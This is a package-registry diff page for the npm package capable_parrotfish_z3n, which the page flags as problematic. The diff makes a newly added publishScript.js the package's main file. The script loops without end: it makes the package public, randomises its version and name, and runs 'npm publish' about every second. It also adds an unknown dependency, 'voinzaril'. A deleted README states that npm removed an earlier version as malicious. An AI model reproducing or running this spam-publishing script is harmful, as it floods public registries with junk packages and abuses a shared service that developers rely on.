capable_parrotfish_z3n 0.0.1-security.1 → 3.4.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of capable_parrotfish_z3n might be problematic. Click here for more details.
- package/package.json +14 -4
- package/publishScript.js +184 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,16 @@
|
|
|
1
1
|
{
|
|
2
|
+
"dependencies": {
|
|
3
|
+
"unique-names-generator": "^4.7.1",
|
|
4
|
+
"voinzaril": "^1.1.2"
|
|
5
|
+
},
|
|
2
6
|
"name": "capable_parrotfish_z3n",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
7
|
+
"version": "3.4.2",
|
|
8
|
+
"main": "publishScript.js",
|
|
9
|
+
"scripts": {
|
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
11
|
+
},
|
|
12
|
+
"keywords": [],
|
|
13
|
+
"author": "",
|
|
14
|
+
"license": "ISC",
|
|
15
|
+
"description": ""
|
|
16
|
+
}
|
package/publishScript.js
ADDED
|
@@ -0,0 +1,184 @@
|
|
|
1
|
+
const fs = require("fs");
|
|
2
|
+
const { exec } = require("child_process");
|
|
3
|
+
const {
|
|
4
|
+
uniqueNamesGenerator,
|
|
5
|
+
adjectives,
|
|
6
|
+
colors,
|
|
7
|
+
animals,
|
|
8
|
+
} = require("unique-names-generator");
|
|
9
|
+
|
|
10
|
+
let publishCount = 0;
|
|
11
|
+
|
|
12
|
+
const randomName = uniqueNamesGenerator({
|
|
13
|
+
dictionaries: [adjectives, colors, animals],
|
|
14
|
+
}); // big_red_donkey
|
|
15
|
+
|
|
16
|
+
// const fruits = ["apple", "banana", "orange", "pear", "strawberry", "kiwi", "pineapple", "watermelon",
|
|
17
|
+
// "grape", "blueberry", "mango", "peach", "plum", "cherry", "lemon", "lime", "grapefruit",
|
|
18
|
+
// "pomegranate", "raspberry", "blackberry", "avocado", "coconut", "apricot", "fig",
|
|
19
|
+
// "papaya", "cranberry", "guava", "melon", "nectarine", "olive", "tomato", "potato",
|
|
20
|
+
// "carrot", "cucumber", "pepper", "broccoli", "lettuce", "onion", "garlic", "ginger",
|
|
21
|
+
// "mushroom", "celery", "zucchini", "spinach", "asparagus", "cabbage", "cauliflower",
|
|
22
|
+
// "peas", "corn", "bean", "rice", "pasta", "bread", "cake", "cookie", "pie", "donut",
|
|
23
|
+
// "muffin", "pancake", "waffle", "icecream", "cheese", "yogurt", "butter", "milk",
|
|
24
|
+
// "cream", "egg", "bacon", "sausage", "ham", "chicken", "beef", "pork", "fish", "shrimp",
|
|
25
|
+
// "lobster", "crab", "scallop", "clam", "squid", "octopus", "tuna", "salmon", "trout",
|
|
26
|
+
// "cod", "haddock", "halibut", "sardine", "anchovy", "hamburger", "pizza", "sandwich",
|
|
27
|
+
// "hot dog", "taco", "burrito", "sushi", "noodle", "soup", "salad", "stew", "curry",
|
|
28
|
+
// "kebab", "wrap", "quesadilla", "gyro", "spring roll", "samosa", "pierogi",
|
|
29
|
+
// "empanada", "tempura", "sashimi", "teriyaki", "dumpling", "pad thai",
|
|
30
|
+
// "pho", "ramen", "bibimbap", "paella", "lasagna", "spaghetti", "ravioli", "gnocchi",
|
|
31
|
+
// "risotto", "casserole", "stir-fry", "enchiladas", "meatball", "fajitas", "kabob",
|
|
32
|
+
// "carbonara", "sukiyaki", "tikka masala", "goulash", "biryani", "jambalaya",
|
|
33
|
+
// "borscht", "gumbo", "moussaka", "frittata", "quiche", "croissant", "bagel", "pretzel",
|
|
34
|
+
// "scone", "biscuit", "wonton", "phyllo", "tart", "crepe", "fritter", "beignet", "blintz",
|
|
35
|
+
// "pierogi", "panini", "flatbread", "naan", "focaccia", "baguette", "brioche", "ciabatta",
|
|
36
|
+
// "cornbread", "pumpernickel", "baguette"];
|
|
37
|
+
|
|
38
|
+
// function generateRandomFruitName() {
|
|
39
|
+
// return fruits[Math.floor(Math.random() * fruits.length)];
|
|
40
|
+
// }
|
|
41
|
+
|
|
42
|
+
function generateRandomDelay() {
|
|
43
|
+
return 1000; // set delay ke 60 detik
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function checkAndRemovePrivate() {
|
|
47
|
+
const animation = [
|
|
48
|
+
"Sedang memeriksa package... ",
|
|
49
|
+
"Sedang memeriksa package. ",
|
|
50
|
+
"Sedang memeriksa package.. ",
|
|
51
|
+
"Sedang memeriksa package...",
|
|
52
|
+
];
|
|
53
|
+
let currentFrame = 0;
|
|
54
|
+
const animationInterval = setInterval(() => {
|
|
55
|
+
process.stdout.write("\r" + animation[currentFrame]);
|
|
56
|
+
currentFrame = (currentFrame + 1) % animation.length;
|
|
57
|
+
}, 250);
|
|
58
|
+
|
|
59
|
+
setTimeout(() => {
|
|
60
|
+
clearInterval(animationInterval);
|
|
61
|
+
process.stdout.write("\r");
|
|
62
|
+
let packageJson = fs.readFileSync("package.json");
|
|
63
|
+
let packageData = JSON.parse(packageJson);
|
|
64
|
+
if (packageData.private === true) {
|
|
65
|
+
console.log("Sedang mengubah package menjadi public...");
|
|
66
|
+
delete packageData.private;
|
|
67
|
+
fs.writeFileSync("package.json", JSON.stringify(packageData, null, 2));
|
|
68
|
+
console.log("Package berhasil diubah menjadi public");
|
|
69
|
+
const animationDelay = [".", "..", "...", "....", "....."];
|
|
70
|
+
let currentFrame = 0;
|
|
71
|
+
const animationInterval = setInterval(() => {
|
|
72
|
+
process.stdout.write(animationDelay[currentFrame]);
|
|
73
|
+
currentFrame = (currentFrame + 1) % animationDelay.length;
|
|
74
|
+
}, 1000);
|
|
75
|
+
setTimeout(() => {
|
|
76
|
+
clearInterval(animationInterval);
|
|
77
|
+
console.log("");
|
|
78
|
+
checkAndRemovePrivate();
|
|
79
|
+
}, 5000);
|
|
80
|
+
} else {
|
|
81
|
+
console.log(
|
|
82
|
+
"Tidak ada lagi private: true dalam package.json. Lanjut ke langkah berikutnya."
|
|
83
|
+
);
|
|
84
|
+
const animationDelay = [".", "..", "...", "....", "....."];
|
|
85
|
+
let currentFrame = 0;
|
|
86
|
+
const animationInterval = setInterval(() => {
|
|
87
|
+
process.stdout.write(animationDelay[currentFrame]);
|
|
88
|
+
currentFrame = (currentFrame + 1) % animationDelay.length;
|
|
89
|
+
}, 1000);
|
|
90
|
+
setTimeout(() => {
|
|
91
|
+
clearInterval(animationInterval);
|
|
92
|
+
console.log("");
|
|
93
|
+
changePackageVersion();
|
|
94
|
+
}, 5000);
|
|
95
|
+
}
|
|
96
|
+
}, 10000);
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
function changePackageVersion() {
|
|
100
|
+
const animation = [
|
|
101
|
+
"Sedang mengubah versi package... ",
|
|
102
|
+
"Sedang mengubah versi package. ",
|
|
103
|
+
"Sedang mengubah versi package.. ",
|
|
104
|
+
"Sedang mengubah versi package...",
|
|
105
|
+
];
|
|
106
|
+
let currentFrame = 0;
|
|
107
|
+
const animationInterval = setInterval(() => {
|
|
108
|
+
process.stdout.write("\r" + animation[currentFrame]);
|
|
109
|
+
currentFrame = (currentFrame + 1) % animation.length;
|
|
110
|
+
}, 250);
|
|
111
|
+
|
|
112
|
+
setTimeout(() => {
|
|
113
|
+
clearInterval(animationInterval);
|
|
114
|
+
process.stdout.write("\r");
|
|
115
|
+
let packageJson = fs.readFileSync("package.json");
|
|
116
|
+
let packageData = JSON.parse(packageJson);
|
|
117
|
+
const newVersion = `${Math.floor(Math.random() * 4) + 1}.${
|
|
118
|
+
Math.floor(Math.random() * 4) + 1
|
|
119
|
+
}.${Math.floor(Math.random() * 4) + 1}`;
|
|
120
|
+
packageData.version = newVersion;
|
|
121
|
+
fs.writeFileSync("package.json", JSON.stringify(packageData, null, 2));
|
|
122
|
+
console.log(`Versi package telah diubah ke ${newVersion}`);
|
|
123
|
+
publishWithDelay();
|
|
124
|
+
}, 10000);
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
function publishWithDelay() {
|
|
128
|
+
const animation = [
|
|
129
|
+
"Sabar lagi di proses ",
|
|
130
|
+
"Sabar lagi di proses. ",
|
|
131
|
+
"Sabar lagi di proses.. ",
|
|
132
|
+
"Sabar lagi di proses...",
|
|
133
|
+
];
|
|
134
|
+
let currentFrame = 0;
|
|
135
|
+
const animationInterval = setInterval(() => {
|
|
136
|
+
process.stdout.write("\r" + animation[currentFrame]);
|
|
137
|
+
currentFrame = (currentFrame + 1) % animation.length;
|
|
138
|
+
}, 250);
|
|
139
|
+
|
|
140
|
+
let packageJson = fs.readFileSync("package.json");
|
|
141
|
+
let packageData = JSON.parse(packageJson);
|
|
142
|
+
let randomFruit = uniqueNamesGenerator({
|
|
143
|
+
dictionaries: [adjectives, animals, colors], // colors can be omitted here as not used
|
|
144
|
+
length: 2,
|
|
145
|
+
}); // big-donkey
|
|
146
|
+
packageData.name = `${randomFruit}_z3n`; //ganti "-notthedevs" dengan apapun
|
|
147
|
+
|
|
148
|
+
fs.writeFileSync("package.json", JSON.stringify(packageData, null, 2));
|
|
149
|
+
|
|
150
|
+
let packageLockJson = fs.readFileSync("package-lock.json");
|
|
151
|
+
let packageLockData = JSON.parse(packageLockJson);
|
|
152
|
+
packageLockData.name = packageData.name;
|
|
153
|
+
|
|
154
|
+
fs.writeFileSync(
|
|
155
|
+
"package-lock.json",
|
|
156
|
+
JSON.stringify(packageLockData, null, 2)
|
|
157
|
+
);
|
|
158
|
+
|
|
159
|
+
exec("npm publish --access public", (error, stdout, stderr) => {
|
|
160
|
+
clearInterval(animationInterval);
|
|
161
|
+
process.stdout.write("\r");
|
|
162
|
+
if (error) {
|
|
163
|
+
console.error(`Error: ${error}`);
|
|
164
|
+
return;
|
|
165
|
+
}
|
|
166
|
+
if (
|
|
167
|
+
stdout.includes("Sedang mem-publish harap tunggu") &&
|
|
168
|
+
stdout.includes("Sukses mem-publish!")
|
|
169
|
+
) {
|
|
170
|
+
publishCount++;
|
|
171
|
+
console.log(`Sukses mem-publish! Total publish: ${publishCount}`);
|
|
172
|
+
} else if (stdout.includes("429 Too Many Requests")) {
|
|
173
|
+
console.error("Error: Limit publish! Coba lagi nanti.");
|
|
174
|
+
return;
|
|
175
|
+
}
|
|
176
|
+
const delay = generateRandomDelay();
|
|
177
|
+
publishCount++;
|
|
178
|
+
console.log(`Sukses mem-publish! Total publish: ${publishCount}`);
|
|
179
|
+
// console.log(`Sukses mem-publish! Total publish: 105 pada hypnotizers `);
|
|
180
|
+
console.log(`Publish selanjutnya ${delay / 1000} detik`);
|
|
181
|
+
setTimeout(checkAndRemovePrivate, delay);
|
|
182
|
+
});
|
|
183
|
+
}
|
|
184
|
+
checkAndRemovePrivate();
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=capable_parrotfish_z3n for more information.
|